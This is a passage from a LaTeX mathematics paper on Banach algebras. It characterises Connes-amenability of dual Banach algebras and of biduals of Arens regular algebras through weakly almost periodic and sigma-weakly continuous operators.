It is clear that $\sigma WC(E)$ is a closed submodule of $E$. The ${\mathcal{A}}$-bimodule homomorphism $\Delta_{{\mathcal{A}}}$ has adjoint $\Delta'_{{\mathcal{A}}}:{\mathcal{A}}' \rightarrow ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'$. In [@Runde2 Corollary 4.6] it is shown that $\Delta'_{{\mathcal{A}}}({\mathcal{A}}_*) \subseteq \sigma WC( ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})' )$. Consequently, we can view $\Delta_{{\mathcal{A}}}'$ as a map ${\mathcal{A}}_* \rightarrow \sigma WC( ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})' )$, and hence view $\Delta''_{{\mathcal{A}}}$ as a map $\sigma WC( ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})' )' \rightarrow {\mathcal{A}}_*'
= {\mathcal{A}}$, denoted by $\tilde \Delta_{{\mathcal{A}}}$.
\[Runde\_Thm\] Let ${\mathcal{A}}$ be a dual Banach algebra with predual ${\mathcal{A}}_*$. Then the following are equivalent:
1. ${\mathcal{A}}$ is Connes-amenable;
2. ${\mathcal{A}}$ has a *$\sigma WC$-virtual diagonal*, which is $M\in \sigma WC( ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})' )'$ such that $a\cdot M = M\cdot a$ and $a \tilde \Delta_{{\mathcal{A}}}(M) = a$ for each $a\in{\mathcal{A}}$.
This is [@Runde2 Theorem 4.8].
In particular, we see that a Connes-amenable Banach algebra is unital (which can of course be shown in an elementary fashion, as in [@Runde1 Proposition 4.1]).
Connes-amenability for biduals of algebras {#con_amen_bidual}
==========================================
Recall Gantmacher’s theorem, which states that a bounded linear map $T:E\rightarrow F$ between Banach spaces $E$ and $F$ is *weakly-compact* if and only if $T''(E'') \subseteq \kappa_F(F)$. We write ${\mathcal{W}}(E,F)$ for the collection of weakly-compact operators in ${\mathcal{B}}(E,F)$.
\[wsw\_cty\] Let $E$ be a dual Banach space with predual $E_*$, let $F$ be a Banach space, and let $T\in{\mathcal{B}}(E,F')$. Then the following are equivalent, and in particular each imply that $T$ is weakly-compact:
1. $T$ is $\sigma(E,E_*) - \sigma(F',F'')$ continuous;
2. $T'(F'') \subseteq \kappa_{E_*}(E_*)$;
3. there exists $S\in{\mathcal{W}}(F,E_*)$ such that $S' = T$.
That (1) and (2) are equivalent is standard (compare with Lemma \[weak\_star\_cts\]).
Suppose that (2) holds, so that we may define $S\in{\mathcal{B}}(F,E_*)$ by $\kappa_{E_*}\circ S = T'\circ\kappa_F$. Then, for $x\in E$ and $y\in F$, we have $${{\langle {x} , {S(y)} \rangle}} = {{\langle {T'(\kappa_F(y))} , {x} \rangle}}
= {{\langle {T(x)} , {y} \rangle}},$$ so that $S'=T$. Then $S''(F'') = T'(F'') \subseteq
\kappa_{E_*}(E_*)$, so that $S$ is weakly-compact, by Gantmacher’s Theorem, so that (3) holds.
Conversely, if (3) holds, as $S$ is weakly-compact, we have $\kappa_{E*}(E_*) \supseteq S''(F'') = T'(F'')$, so that (2) holds.
It is standard that for Banach spaces $E$ and $F$, we have $(E{{\widehat{\otimes}}}F)' = {\mathcal{B}}(F,E')$ with duality defined by $${{\langle {T} , {x\otimes y} \rangle}} = {{\langle {T(y)} , {x} \rangle}}
\qquad (T\in{\mathcal{B}}(F,E'), x\otimes y\in E{{\widehat{\otimes}}}F).$$ Then we see, for $a,b,c\in{\mathcal{A}}$ and $T\in({\mathcal{A}}
{{\widehat{\otimes}}}{\mathcal{A}})' = {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$, that ${{\langle {a\cdot T} , {b\otimes c} \rangle}} = {{\langle {T(ca)} , {b} \rangle}}$ and that ${{\langle {T\cdot a} , {b\otimes c} \rangle}} = {{\langle {T(c)} , {ab} \rangle}}
= {{\langle {T(c)\cdot a} , {b} \rangle}}$ so that $$(a\cdot T)(c) = T(ca), \quad (T\cdot a)(c) = T(c)\cdot a
\qquad (a,c\in{\mathcal{A}}, T:{\mathcal{A}}\rightarrow{\mathcal{A}}').
\label{eq:one}$$
Notice that we could also have defined $(E{{\widehat{\otimes}}}F)'$ to be ${\mathcal{B}}(E,F')$. This would induce a different bimodule structure on ${\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$, and we shall see in Section \[Inj\_predual\] that our chosen convention seems more natural for the task at hand.
\[first\_wap\_prop\] Let ${\mathcal{A}}$ be a dual Banach algebra with predual ${\mathcal{A}}_*$. For $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}') = ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'$, define maps $\phi_r, \phi_l : {\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}\rightarrow{\mathcal{A}}'$ by $$\phi_r(a\otimes b) = T'\kappa_{{\mathcal{A}}}(a) \cdot b,
\quad \phi_l(a\otimes b) = a \cdot T(b)
\qquad (a\otimes b\in{\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}).$$ Then $T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$ if and only if $\phi_r$ and $\phi_l$ are weakly-compact and have ranges contained in ${\kappa_{{\mathcal{A}}_*}({\mathcal{A}}_*)}$.
For $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}') = ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'$, define $R_T,L_T : {\mathcal{A}}\rightarrow ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'$ by $R_T(a) = a\cdot T$ and $L_T = T\cdot a$, for $a\in{\mathcal{A}}$. By definition, $T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$ if and only if $R_T$ and $L_T$ are $\sigma({\mathcal{A}},{\mathcal{A}}_*)-\sigma({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'),({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'')$ continuous. By Lemma \[wsw\_cty\], this is if and only if there exist $\varphi_r, \varphi_l \in {\mathcal{W}}({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}},{\mathcal{A}}_*)$ such that $\varphi_r' = R_T$ and $\varphi_l' = L_T$.
For $a\otimes b\in{\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}$ and $c\in{\mathcal{A}}$, we see that $$\begin{aligned}
{{\langle {c} , {\varphi_r(a\otimes b)} \rangle}} &= {{\langle {R_T(c)} , {a\otimes b} \rangle}}
= {{\langle {c\cdot T} , {a\otimes b} \rangle}} = {{\langle {T(bc)} , {a} \rangle}} \\
&= {{\langle {T'\kappa_{{\mathcal{A}}}(a)} , {bc} \rangle}}
= {{\langle {T'\kappa_{{\mathcal{A}}}(a)\cdot b} , {c} \rangle}}
= {{\langle {\phi_r(a\otimes b)} , {c} \rangle}}, \\
{{\langle {c} , {\varphi_l(a\otimes b)} \rangle}} &= {{\langle {L_T(c)} , {a\otimes b} \rangle}}
= {{\langle {T\cdot c} , {a\otimes b} \rangle}} = {{\langle {T(b)} , {ca} \rangle}} \\
&= {{\langle {a\cdot T(b)} , {c} \rangle}} = {{\langle {\phi_l(a\otimes b)} , {c} \rangle}}.\end{aligned}$$ Thus $\kappa_{{\mathcal{A}}_*}\circ\varphi_r = \phi_r$ and $\kappa_{{\mathcal{A}}_*}\circ\varphi_l = \phi_l$. Consequently, we see that $T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$ if and only if $\phi_r$ and $\phi_l$ are weakly-compact and take values in ${\kappa_{{\mathcal{A}}_*}({\mathcal{A}}_*)}$.
The following definition is [@Runde2 Definition 4.1].
Let ${\mathcal{A}}$ be a Banach algebra and let $E$ be a Banach ${\mathcal{A}}$-bimodule. An element $x\in E$ is *weakly almost periodic* if the maps $${\mathcal{A}}\rightarrow E,\quad
a \mapsto \begin{cases} a\cdot x, \\ x\cdot a \end{cases}$$ are weakly-compact. The collection of weakly almost periodic elements in $E$ is denoted by ${\operatorname{WAP}}(E)$. [$\square$]{}
\[wap\_to\_maps\] Let ${\mathcal{A}}$ be a Banach algebra, and let $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')
= ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'$. Let $\phi_r,\phi_l : {\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}
\rightarrow{\mathcal{A}}'$ be as above. Then $T\in{\operatorname{WAP}}( {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}') )$ if and only if $\phi_r$ and $\phi_l$ are weakly-compact.
Let $R_T,L_T:{\mathcal{A}}\rightarrow{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$ be as in the above proof. By definition, $T\in{\operatorname{WAP}}( {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}') )$ if and only if $L_T$ and $R_T$ are weakly-compact. We can verify that $$\phi_r'\circ\kappa_{{\mathcal{A}}} = R_T,\
\phi_l'\circ\kappa_{{\mathcal{A}}} = L_T,\
R_T'\circ\kappa_{{\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}} = \phi_r,\
L_T'\circ\kappa_{{\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}} = \phi_l,$$ which completes the proof.
\[unital\_dual\_sigma\] Let ${\mathcal{A}}$ be a unital, dual Banach algebra with predual ${\mathcal{A}}_*$, and let $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}') = ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'$. The following are equivalent, and, in particular, each imply that $T$ is weakly-compact:
1. $T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$;
2. $T({\mathcal{A}}) \subseteq
\kappa_{{\mathcal{A}}_*}({\mathcal{A}}_*)$, $T'(\kappa_{{\mathcal{A}}}({\mathcal{A}}))
\subseteq \kappa_{{\mathcal{A}}_*}({\mathcal{A}}_*)$, and $T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$;
3. $T({\mathcal{A}}) \subseteq
\kappa_{{\mathcal{A}}_*}({\mathcal{A}}_*)$, $T'(\kappa_{{\mathcal{A}}}({\mathcal{A}}))
\subseteq \kappa_{{\mathcal{A}}_*}({\mathcal{A}}_*)$, and $T \in {\operatorname{WAP}}( {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}') )$.
Let $e_{{\mathcal{A}}}$ be the unit of ${\mathcal{A}}$, so that for $a\in{\mathcal{A}}$, we have $T(a) = \phi_l(e_{{\mathcal{A}}} \otimes a)$ and $T'\kappa_{{\mathcal{A}}}(a) = \phi_r(a \otimes e_{{\mathcal{A}}})$, which shows that (1) implies (2); clearly (2) implies (1).
As ${\mathcal{A}}_*$ is an ${\mathcal{A}}$-bimodule, (2) and (3) are equivalent by an application of Lemma \[wap\_to\_maps\] and Proposition \[first\_wap\_prop\].
\[When\_Con\_Amen\] Let ${\mathcal{A}}$ be a dual Banach algebra with predual ${\mathcal{A}}_*$. Then ${\mathcal{A}}$ is Connes-amenable if and only if ${\mathcal{A}}$ is unital and there exists $M\in({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})''$ such that:
1. ${{\langle {M} , {a\cdot T-T\cdot a} \rangle}}=0$ for $a\in{\mathcal{A}}$ and $T\in\sigma WC( {\mathcal{W}}({\mathcal{A}},{\mathcal{A}}') )$;
2. $\kappa_{{\mathcal{A}}_*}' \Delta''_{{\mathcal{A}}}(M) = e_{{\mathcal{A}}}$, where $e_{{\mathcal{A}}}$ is the unit of ${\mathcal{A}}$.
As $\sigma WC( ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})' )'$ is a quotient of $({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})''$, this is just a re-statement of Theorem \[Runde\_Thm\].
When ${\mathcal{A}}$ is an Arens regular Banach algebra, ${\mathcal{A}}''$ is a dual Banach algebra with canonical predual ${\mathcal{A}}'$. In this case, we can make some significant simplifications in the characterisation of when ${\mathcal{A}}''$ is Connes-amenable.
For a Banach algebra ${\mathcal{A}}$, we define the map $\kappa_{{\mathcal{A}}} \otimes \kappa_{{\mathcal{A}}}: {\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}
\rightarrow {\mathcal{A}}'' {{\widehat{\otimes}}}{\mathcal{A}}''$ by $$( \kappa_{{\mathcal{A}}} \otimes \kappa_{{\mathcal{A}}} ) (a\otimes b)
= \kappa_{{\mathcal{A}}}(a) \otimes \kappa_{{\mathcal{A}}}(b)
\qquad (a\otimes b\in {\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}).$$ We turn ${\mathcal{A}}'' {{\widehat{\otimes}}}{\mathcal{A}}''$ into a Banach ${\mathcal{A}}$-bimodule in the canonical way. Then $\kappa_{{\mathcal{A}}}\otimes\kappa_{{\mathcal{A}}}$ is an ${\mathcal{A}}$-bimodule homomorphism. The following is a simple verification.
\[can\_proj\] Let ${\mathcal{A}}$ be a Banach algebra. The map $$\iota_{{\mathcal{A}}}:{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}') \rightarrow
{\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}'''); \ T\mapsto T'',$$ is an ${\mathcal{A}}$-bimodule homomorphism which is an isometry onto its range. Furthermore, we have that $(\kappa_{{\mathcal{A}}} \otimes \kappa_{{\mathcal{A}}})' \circ \iota_{{\mathcal{A}}} =
I_{{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')}$. Define $\rho_{{\mathcal{A}}}:
{\mathcal{A}}''{{\widehat{\otimes}}}{\mathcal{A}}''\rightarrow ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})''$ by $${{\langle {\rho_{{\mathcal{A}}}(\tau)} , {T} \rangle}} = {{\langle {T''} , {\tau} \rangle}}
\qquad (\tau\in {\mathcal{A}}''{{\widehat{\otimes}}}{\mathcal{A}}'',
T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')=({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})').$$ Then $\rho_{{\mathcal{A}}}$ is a norm-decreasing ${\mathcal{A}}$-bimodule homomorphism which satisfies $\rho_{{\mathcal{A}}} \circ
(\kappa_{{\mathcal{A}}}\otimes\kappa_{{\mathcal{A}}}) = \kappa_{{\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}}$. [$\square$]{}
For a Banach algebra ${\mathcal{A}}$, it is clear that ${\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$ is a sub-${\mathcal{A}}$-bimodule of ${\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')=({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'$.
\[arens\_wap\] Let ${\mathcal{A}}$ be an Arens regular Banach algebra such that ${\mathcal{A}}''$ is unital, and let $T\in{\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''') =
({\mathcal{A}}''{{\widehat{\otimes}}}{\mathcal{A}}'')'$. Then the following are equivalent:
1. $T \in \sigma WC({\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}'''))$, where we treat ${\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''')$ as an ${\mathcal{A}}''$-bimodule;
2. $T = S''$ for some $S\in {\operatorname{WAP}}( {\mathcal{W}}({\mathcal{A}},{\mathcal{A}}') )$, where now we treat ${\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$ as an ${\mathcal{A}}$-bimodule.
We apply Corollary \[unital\_dual\_sigma\] to ${\mathcal{A}}''$, so that (1) is equivalent to $T$ being weakly-compact, $T({\mathcal{A}}'')\subseteq \kappa_{{\mathcal{A}}'}({\mathcal{A}}')$, $T'(\kappa_{{\mathcal{A}}''}({\mathcal{A}}'')) \subseteq \kappa_{{\mathcal{A}}'}({\mathcal{A}}')$, and $T\in{\operatorname{WAP}}( {\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''') )$. Thus, if (1) holds, then there exists $T_0 \in {\mathcal{W}}({\mathcal{A}}'',{\mathcal{A}}')$ such that $T = \kappa_{{\mathcal{A}}'} \circ T_0$, and there exists $T_1 \in {\mathcal{W}}({\mathcal{A}}'',{\mathcal{A}}')$ such that $T'\circ\kappa_{{\mathcal{A}}''} = \kappa_{{\mathcal{A}}'} \circ T_1$. Let $S = T_0\circ\kappa_{{\mathcal{A}}} \in {\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$. Then, for $a\in{\mathcal{A}}$ and $\Psi\in{\mathcal{A}}''$, we have $$\begin{aligned}
{{\langle {S'(\Psi)} , {a} \rangle}} &= {{\langle {\Psi} , {T_0(\kappa_{{\mathcal{A}}}(a))} \rangle}}
= {{\langle {T(\kappa_{{\mathcal{A}}}(a))} , {\Psi} \rangle}}
= {{\langle {T'(\kappa_{{\mathcal{A}}''}(\Psi))} , {\kappa_{{\mathcal{A}}}(a)} \rangle}} \\
&= {{\langle {\kappa_{{\mathcal{A}}}(a)} , {T_1(\Psi)} \rangle}}
= {{\langle {T_1(\Psi)} , {a} \rangle}},\end{aligned}$$ so that $S' = T_1$. Thus, for $\Phi,\Psi\in{\mathcal{A}}''$, we have $$\begin{aligned}
{{\langle {S''(\Phi)} , {\Psi} \rangle}} &= {{\langle {\Phi} , {T_1(\Psi)} \rangle}}
= {{\langle {T'(\kappa_{{\mathcal{A}}''}(\Psi))} , {\Phi} \rangle}}
= {{\langle {T(\Phi)} , {\Psi} \rangle}},\end{aligned}$$ so that $S''=T$. We know that the maps $L_T,R_T:
{\mathcal{A}}''\rightarrow{\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''')$, defined by $L_T(\Phi) = T\cdot\Phi$ and $R_T(\Phi) = \Phi\cdot T$ for $\Phi\in{\mathcal{A}}''$, are weakly-compact. Define $L_S,R_S:
{\mathcal{A}}\rightarrow{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$ is an analogous manner, using $S\in{\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$. For $a\in{\mathcal{A}}$, $S\cdot a
\in{\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$, so for $\Psi\in{\mathcal{A}}''$ and $b\in{\mathcal{A}}$, $${{\langle {(S\cdot a)'(\Psi)} , {b} \rangle}} = {{\langle {\Psi} , {(S\cdot a)(b)} \rangle}}
= {{\langle {\Psi} , {S(b)\cdot a} \rangle}} = {{\langle {a\cdot\Psi} , {S(b)} \rangle}}
= {{\langle {S'(a\cdot\Psi)} , {b} \rangle}}.$$ Thus, for $a\in{\mathcal{A}}$ and $\Phi,\Psi\in{\mathcal{A}}''$, we have that $$\begin{aligned}
{{\langle { \iota_{{\mathcal{A}}}(L_S(a))(\Phi) } , {\Psi} \rangle}} &=
{{\langle { (S\cdot a)''(\Phi) } , {\Psi} \rangle}} = {{\langle { \Phi } , { S'(a\cdot\Psi) } \rangle}}
= {{\langle { S''(\Phi) \cdot a } , {\Psi} \rangle}},\end{aligned}$$ so that $\iota_{{\mathcal{A}}}(L_S(a))(\Phi) = S''(\Phi)\cdot a$, and hence that $\iota_{{\mathcal{A}}}(L_S(a)) = S''\cdot a
= T\cdot a = T\cdot\kappa_{{\mathcal{A}}}(a) = L_T(\kappa_{{\mathcal{A}}}(a))$. Thus we have that $L_S = (\kappa_{{\mathcal{A}}}\otimes\kappa_{{\mathcal{A}}})'
\circ R_T \circ \kappa_{{\mathcal{A}}}$, so that $L_S$ is weakly-compact. A similar calculation shows that $R_S$ is also weakly-compact, so that $S \in{\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}'))$. This shows that (1) implies (2).
Conversely, if (2) holds, then $L_S$ and $R_S$ are weakly-compact. As $S$ is weakly-compact, $T({\mathcal{A}}'') = S''({\mathcal{A}}'') \subseteq
\kappa_{{\mathcal{A}}'}({\mathcal{A}}')$ and $T'(\kappa_{{\mathcal{A}}''}({\mathcal{A}}''))
= S'''(\kappa_{{\mathcal{A}}''}({\mathcal{A}}'')) = \kappa_{{\mathcal{A}}'}(S'({\mathcal{A}}''))
\subseteq \kappa_{{\mathcal{A}}'}({\mathcal{A}}')$, and $T$ is weakly-compact. Thus, to show (1), we are required to show that $L_T$ and $R_T$ are weakly-compact.
For $a,b\in{\mathcal{A}}$ and $\Phi\in{\mathcal{A}}'$, we have $${{\langle {(a\cdot S)'(\Phi)} , {b} \rangle}} = {{\langle {\Phi} , {S(ba)} \rangle}}
= {{\langle {a \cdot S'(\Phi)} , {b} \rangle}}.$$ Then, for $\Phi,\Psi\in{\mathcal{A}}''$ and $a\in{\mathcal{A}}$, we thus have $$\begin{aligned}
{{\langle {R_S'(\rho_{{\mathcal{A}}}(\Phi\otimes\Psi))} , {a} \rangle}} &=
{{\langle {(a\cdot S)''} , {\Phi\otimes\Psi} \rangle}} =
{{\langle {(a\cdot S)''(\Psi)} , {\Phi} \rangle}} = {{\langle {\Psi} , {a\cdot S'(\Phi)} \rangle}} \\
&= {{\langle {\Psi\cdot a} , {S'(\Phi)} \rangle}} =
{{\langle {\Psi{\Box}\kappa_{{\mathcal{A}}}(a)} , {S'(\Phi)} \rangle}}
= {{\langle {S'(\Phi)\cdot\Psi} , {a} \rangle}}.\end{aligned}$$ Hence we see that $R_S'(\rho_{{\mathcal{A}}}(\Phi\otimes\Psi))
= S'(\Phi)\cdot\Psi$. Let $U=R_S'\circ\rho_{{\mathcal{A}}}:
{\mathcal{A}}''{{\widehat{\otimes}}}{\mathcal{A}}'' \rightarrow {\mathcal{A}}'$, so that as $R_S$ is weakly-compact, so is $U$. Then, for $\Phi,\Psi,
\Gamma\in{\mathcal{A}}''$, we have that $$\begin{aligned}
{{\langle {U'(\Gamma)} , {\Phi\otimes\Psi} \rangle}} &=
{{\langle {\Gamma} , {S'(\Phi)\cdot\Psi} \rangle}} = {{\langle {\Psi{\Diamond}\Gamma} , {S'(\Phi)} \rangle}}
= {{\langle {S''(\Psi{\Box}\Gamma)} , {\Phi} \rangle}}
= {{\langle {(\Gamma\cdot S'')(\Psi)} , {\Phi} \rangle}},\end{aligned}$$ so that $U'(\Gamma) = \Gamma\cdot T$, that is, $U' = R_T$, so that $R_T$ is weakly-compact. Similarly, we can show that $L_T$ is weakly-compact, completing the proof.
\[Connes\_Amen\] Let ${\mathcal{A}}$ be an Arens regular Banach algebra. Then ${\mathcal{A}}''$ is Connes-amenable if and only if ${\mathcal{A}}''$ is unital and there exists $M \in ({\mathcal{A}} {{\widehat{\otimes}}}{\mathcal{A}})''$ such that:
1. $\Delta_{{\mathcal{A}}}''(M) = e_{{\mathcal{A}}''}$, the unit of ${\mathcal{A}}''$;
2. ${{\langle {M} , {a\cdot T-T\cdot a} \rangle}}=0$ for each $a\in{\mathcal{A}}$ and each $T\in {\operatorname{WAP}}( {\mathcal{W}}({\mathcal{A}},{\mathcal{A}}') )$.
By Theorem \[When\_Con\_Amen\], we wish to show that the existence of such an $M$ is equivalent to the existence of $N\in({\mathcal{A}}''{{\widehat{\otimes}}}{\mathcal{A}}'')''$ such that:
(N1)
: $\kappa_{{\mathcal{A}}'}'\Delta_{{\mathcal{A}}''}''(N) = e_{{\mathcal{A}}''}$;
(N2)
: ${{\langle {N} , {\Phi\cdot S - S\cdot\Phi} \rangle}}=0$ for each $\Phi\in{\mathcal{A}}''$ and each $S\in\sigma WC( {\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''') )$.
We can verify that $\iota_{{\mathcal{A}}} \circ \Delta_{{\mathcal{A}}}'
= \Delta'_{{\mathcal{A}}''} \circ \kappa_{{\mathcal{A}}'}$, so that (N1) is equivalent to $\Delta_{{\mathcal{A}}}'' \iota'_{{\mathcal{A}}}(N) =
e_{{\mathcal{A}}''}$. For $S\in\sigma WC( {\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''') )$, we know that $S=T''$ for some $T \in {\operatorname{WAP}}( {\mathcal{W}}({\mathcal{A}},{\mathcal{A}}') )$, by Theorem \[arens\_wap\]. That is, the maps $\phi_r$ and $\phi_l$, formed using $T$ as in Proposition \[first\_wap\_prop\], are weakly-compact. Then, for $\Phi\in{\mathcal{A}}''$, $\phi_r'(\Phi), \phi_l'(\Phi) \in
{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$, and we can check that $$\phi_r'(\Phi)(a) = \kappa_{{\mathcal{A}}}'T''(a\cdot\Phi),
\quad \phi_l'(\Phi)(a) = T(a)\cdot\Phi
\qquad (a\in{\mathcal{A}}).$$ Then $\phi_r'(\Phi)', \phi_l'(\Phi)'\in{\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}')$ are the maps $$\phi_r'(\Phi)'(\Psi) = \Phi\cdot T'(\Psi),
\quad \phi_l'(\Phi)'(\Psi) = T'(\Phi{\Box}\Psi)
\qquad (\Psi\in{\mathcal{A}}''),$$ where we remember that $T''({\mathcal{A}}'') \subseteq
\kappa_{{\mathcal{A}}'}({\mathcal{A}}')$. Consequently $\phi_r'(\Phi)'', \phi_l'(\Phi)''\in{\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''')$ are given by $$\phi_r'(\Phi)''(\Psi) = T''(\Psi{\Box}\Phi),
\quad\phi_l'(\Phi)''(\Psi) = T''(\Psi) \cdot \Phi
\qquad (\Psi\in{\mathcal{A}}''),$$ where ${\mathcal{A}}'''$ is an ${\mathcal{A}}''$-bimodule, as ${\mathcal{A}}''$ is Arens regular. That is, $\phi_r'(\Phi)'' = \Phi\cdot S$ and $\phi_l'(\Phi)'' = S\cdot\Phi$. Hence (N2) is equivalent to $$0 = {{\langle {N} , {\phi_r'(\Phi)'' - \phi_l'(\Phi)''} \rangle}}
= {{\langle {N} , {\iota_{{\mathcal{A}}}( \phi_r'(\Phi) - \phi_l'(\Phi) )} \rangle}}
= {{\langle {\iota_{{\mathcal{A}}}'(N)} , {\phi_r'(\Phi) - \phi_l'(\Phi)} \rangle}},$$ for each $\Phi\in{\mathcal{A}}''$ and $S\in\sigma WC( {\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''') )$. That is, (N2) is equivalent to $$\phi_r''\iota_{{\mathcal{A}}}'(N) - \phi_l''\iota_{{\mathcal{A}}}'(N) = 0
\qquad ( S\in\sigma WC( {\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''') ) ).$$
As $\phi_r$ and $\phi_l$ are weakly-compact, $\phi_r''$ and $\phi_l''$ take values in ${\kappa_{{\mathcal{A}}'}({\mathcal{A}}')}$, and so (N2) is equivalent to $$0 = {{\langle {\phi_r''\iota_{{\mathcal{A}}}'(N) - \phi_l''\iota_{{\mathcal{A}}}'(N)} , {\kappa_{{\mathcal{A}}}(a)} \rangle}} =
{{\langle {\iota_{{\mathcal{A}}}'(N)} , { \phi_r'(\kappa_{{\mathcal{A}}}(a)) -
\phi_l'(\kappa_{{\mathcal{A}}}(a)) } \rangle}},$$ for each $a\in{\mathcal{A}}$ and each $S\in\sigma WC( {\mathcal{B}}({\mathcal{A}}'',{\mathcal{A}}''') )$. However, $\phi_r'(\kappa_{{\mathcal{A}}}(a)) -
\phi_l'(\kappa_{{\mathcal{A}}}(a)) = a\cdot T - T\cdot a$, so that (N2) is equivalent to $$0 = {{\langle {\iota_{{\mathcal{A}}}'(N)} , {a\cdot T - T \cdot a} \rangle}}
\qquad (a\in{\mathcal{A}}),$$ for each $T\in{\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$ such that $\phi_r$ and $\phi_l$ are weakly-compact.
Thus we have established that (N1) holds for $N$ if and only if (1) holds for $M=\iota_{{\mathcal{A}}}'(N)$, and that (N2) holds for $N$ if and only if (2) holds for $M=\iota_{{\mathcal{A}}}'(N)$, completing the proof.
We immediately see that ${\mathcal{A}}$ amenable implies that ${\mathcal{A}}''$ is Connes-amenable. Furthermore, if ${\mathcal{A}}$ is itself a dual Banach algebra, then Corollary \[unital\_dual\_sigma\] shows that if ${\mathcal{A}}''$ is Connes-amenable, then ${\mathcal{A}}$ is Connes-amenable: notice that if $e_{{\mathcal{A}}''}$ is the unit of ${\mathcal{A}}''$, then $${{\langle {\kappa_{{\mathcal{A}}_*}'(e_{{\mathcal{A}}''})a} , {\mu} \rangle}}
= {{\langle {e_{{\mathcal{A}}''} \cdot a} , {\kappa_{{\mathcal{A}}_*}(\mu)} \rangle}}
= {{\langle {\kappa_{{\mathcal{A}}}(a)} , {\kappa_{{\mathcal{A}}_*}(\mu)} \rangle}}
= {{\langle {a} , {\mu} \rangle}}
\qquad (a\in{\mathcal{A}}, \mu\in{\mathcal{A}}_*),$$ so that $\kappa_{{\mathcal{A}}_*}'(e_{{\mathcal{A}}''})$ is the unit of ${\mathcal{A}}$.
Injectivity of the predual module {#Inj_predual}
=================================
Let ${\mathcal{A}}$ be a Banach algebra, and let $E$ and $F$ be Banach left ${\mathcal{A}}$-modules. We write ${_{{\mathcal{A}}}}{\mathcal{B}}(E,F)$ for the closed subspace of ${\mathcal{B}}(E,F)$ consisting of left ${\mathcal{A}}$-module homomorphisms, and similarly write ${\mathcal{B}}_{{\mathcal{A}}}(E,F)$ and ${_{{\mathcal{A}}}}{\mathcal{B}}_{{\mathcal{A}}}(E,F)$ for right ${\mathcal{A}}$-module and ${\mathcal{A}}$-bimodule homomorphisms, respectively. We say that $T\in{_{{\mathcal{A}}}}{\mathcal{B}}(E,F)$ is *admissible* if both the kernel and image of $T$ are closed, complemented subspaces of, respectively, $E$ and $F$. If $T$ is injective, this is equivalent to the existence of $S\in{\mathcal{B}}(F,E)$ such that $ST=I_E$.
